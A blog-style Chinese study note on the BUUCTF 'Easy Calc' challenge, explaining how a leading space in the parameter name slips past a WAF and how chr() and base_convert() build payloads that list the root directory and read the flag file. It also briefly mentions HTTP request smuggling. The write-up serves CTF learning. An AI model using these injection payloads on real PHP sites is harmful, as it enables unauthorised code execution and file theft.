BUUCTF学习笔记-Easy_Clac
BUUCTF学习笔记-Easy_Clac
时间:2020/03/22
考点:WAF绕过、文件读取
打开是一个计算器,只要输入表达式就可以返回对应的结果。右键查看源代码,可以看到提示
<!--I've set up WAF to ensure security.-->
,提示我们这个网站是有WAF的。并且通过ajax的请求地址能看到应该还是存在一个calc.php
的页面的,访问一下。
解读一下大概的内容。搜先需要我们输入一个
参数名为num的GET变量
。如果没有的话就直接显示calc.php
的内容。也就是我们现在的状态。如果有输入参数num
的话,就会拿输入的内容和设定的黑名单比较,当通过黑名单后直接就拿输入的内容执行。拿很明显这道题就算要绕过WAF已经黑名单去执行命令。
0x01
参考一下网上的做法: 利用PHP的字符串解析特性Bypass。
PHP需要将所有URL、请求体参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
可以看到上面两次尝试,一次被WAF拦截了,另外一次则成功了。两次输入的内容如下:
第一次:?num=phpinfo()
第二次:?%20num=phpinfo()
区别在与第二次在参数名前面加了空字符。参考上面说的PHP字符串解析特性说的第一点,PHP在解析时会删除空字符。
WAF接受到的是? num=phpinfo()
,解析出来参数名为 num,没有把空格删除,没有触发的WAF的规则。
PHP接受到的同样? num=phpinfo()
,但解析出来的参数名是num,把空格删除了所以可以在后台顺利拿到参数,执行成功。
成功绕过WAF后接下来就是构造命令绕过黑名单并顺利读取到flag。可能要到的几个函数:
打印函数:
var_dump(object)
print_r(object)
目录读取函数:
scandir(directory,sorting_order,context);
文件读取函数:
readfile(filename,include_path,context)
file_get_contents(path,include_path,context,start,max_length)
字符转换函数:
chr(ascii)
ord(string)
base_convert(number,frombase,tobase);
现在目标就是拼接除payload
scandir(/)
来搜索目录。首先因为/
在黑名单中,所以需要用其他方式去得出,可以使用chr(47)
来表示。这样我们第一个payload就出了? num=var_dump(scandir(chr(47)))
。var_dump只是打印函数,也可以换成print_r(),? num=print_r(scandir(chr(47)))
。如果scandir
这个词也被过滤的话,还可以使用base_convert()来拼接。
如? num=print_r(base_convert(61693386291,10,36)(chr(47)))
可以看到输出的目录列表中包含
f1agg
这个文件。那接下来需要构造的payload就是readfile(/f1agg)。
按照之前的办法构造即可:
? num=readfile(chr(47).f1agg)
? num=file_get_contents(chr(47).f1agg)
? num=base_convert(2146934604002,10,36)(chr(47).f1agg)
0x02
参考一下网上的做法: HTTP请求走私。
前端服务器(CDN)和后端服务器接收数据不同步,引起对客户端传入的数据理解不一致,从而导致漏洞的产生。
1、CL-CL
两个CL直接导致前端转发的服务器400,而且完整转发了post包给后端。
2、CL-TE
CL和TE直接导致前端转发的服务器400,而且完整转发了post包给后端。
BUUCTF学习笔记-Easy_Clac相关推荐
- BUUCTF学习笔记:[Misc] 2022DASCTF MAY
1.不懂PCB的厨师不是好黑客: 下载压缩得到文件包,通过题目可以知道跟PCB有关.找到PCB文件包打开是一个文件后缀名为epcb的文件.可以去下载一个叫"嘉立创"的软件,就可以打 ...
- PyTorch 学习笔记(六):PyTorch hook 和关于 PyTorch backward 过程的理解 call
您的位置 首页 PyTorch 学习笔记系列 PyTorch 学习笔记(六):PyTorch hook 和关于 PyTorch backward 过程的理解 发布: 2017年8月4日 7,195阅读 ...
- 容器云原生DevOps学习笔记——第三期:从零搭建CI/CD系统标准化交付流程
暑期实习期间,所在的技术中台-效能研发团队规划设计并结合公司开源协同实现符合DevOps理念的研发工具平台,实现研发过程自动化.标准化: 实习期间对DevOps的理解一直懵懵懂懂,最近观看了阿里专家带 ...
- 容器云原生DevOps学习笔记——第二期:如何快速高质量的应用容器化迁移
暑期实习期间,所在的技术中台-效能研发团队规划设计并结合公司开源协同实现符合DevOps理念的研发工具平台,实现研发过程自动化.标准化: 实习期间对DevOps的理解一直懵懵懂懂,最近观看了阿里专家带 ...
- 2020年Yann Lecun深度学习笔记(下)
2020年Yann Lecun深度学习笔记(下)
- 2020年Yann Lecun深度学习笔记(上)
2020年Yann Lecun深度学习笔记(上)
- 知识图谱学习笔记(1)
知识图谱学习笔记第一部分,包含RDF介绍,以及Jena RDF API使用 知识图谱的基石:RDF RDF(Resource Description Framework),即资源描述框架,其本质是一个 ...
- 计算机基础知识第十讲,计算机文化基础(第十讲)学习笔记
计算机文化基础(第十讲)学习笔记 采样和量化PictureElement Pixel(像素)(链接: 采样的实质就是要用多少点(这个点我们叫像素)来描述一张图像,比如,一幅420x570的图像,就表示 ...
- Go 学习推荐 —(Go by example 中文版、Go 构建 Web 应用、Go 学习笔记、Golang常见错误、Go 语言四十二章经、Go 语言高级编程)
Go by example 中文版 Go 构建 Web 应用 Go 学习笔记:无痕 Go 标准库中文文档 Golang开发新手常犯的50个错误 50 Shades of Go: Traps, Gotc ...
- MongoDB学习笔记(入门)
MongoDB学习笔记(入门) 一.文档的注意事项: 1. 键值对是有序的,如:{ "name" : "stephen", "genda" ...
最新文章
- Python回顾与整理12:执行环境
- vSphere+Openfiler备忘录
- 接上一篇Ansible和celery的结合,在celery的tasks.py文件里为了实现并发不阻塞的需求,用到了多进程
- 【手写系列】纯手写实现一个高可用的RPC
- 仿 小米运动_小米有品上架“黑科技”床垫,让你睡在“空气”上,改变睡眠体验...
- 如何获取元素与当前可视区域顶部的距离
- C++拷贝构造函数调用时机分析
- Python多线程编程基础1:为什么要使用线程
- matlab 符号表,MATLAB——matlab特殊符号表【转载】
- 像excel一样规律填充(二)
- PIM SM建立SPT树过程与实验
- java开发web应用开发,Java Web应用开发概述
- 单例模式中的线程安全问题
- 计算机专业实习日记,计算机专业实习日记精选
- 【HAVENT原创】Spring Boot + Kafka 消息日志开发
- oracle crm系统叫什么,常用CRM软件有哪些?
- 什么牌子的蓝牙耳机耐用?类似airpods pro的降噪耳机推荐
- 向DPMFoam或MPPICFoam求解器中添加源项
- 会议邀请〡第六届全国高校电子信息类课程教学研讨会邀请函
- [电池]设置-电池-上次充满电时间计算
热门文章
- 虚拟机VMware下载与安装教程(windows)
- 嵌入式系统开发流程是怎样的?
- Linux下安装MySQL、安装注意事项以及安装问题解决等(以腾讯云服务为主)
- 查重有风险,小心论文被买卖!——iThenticate官方论文查重系统登录中国!
- catia 二次开发:环境变量路径,检查路径存在,关闭文件,对象为空,获取pad对象,err,part的product,全局变量,常量,SystemService,input,选择文件 时间,函数调用
- 公安部网络安全保卫局郭启全总工:《从实战出发,落实重要措施,保卫国家关键信息基础设施和大数据安全》
- 隐藏百度地图logo
- 小学教训计算机培训的简单内容,小学计算机教育随笔
- eas bos编码重复
- 图像算法---头发检测算法研究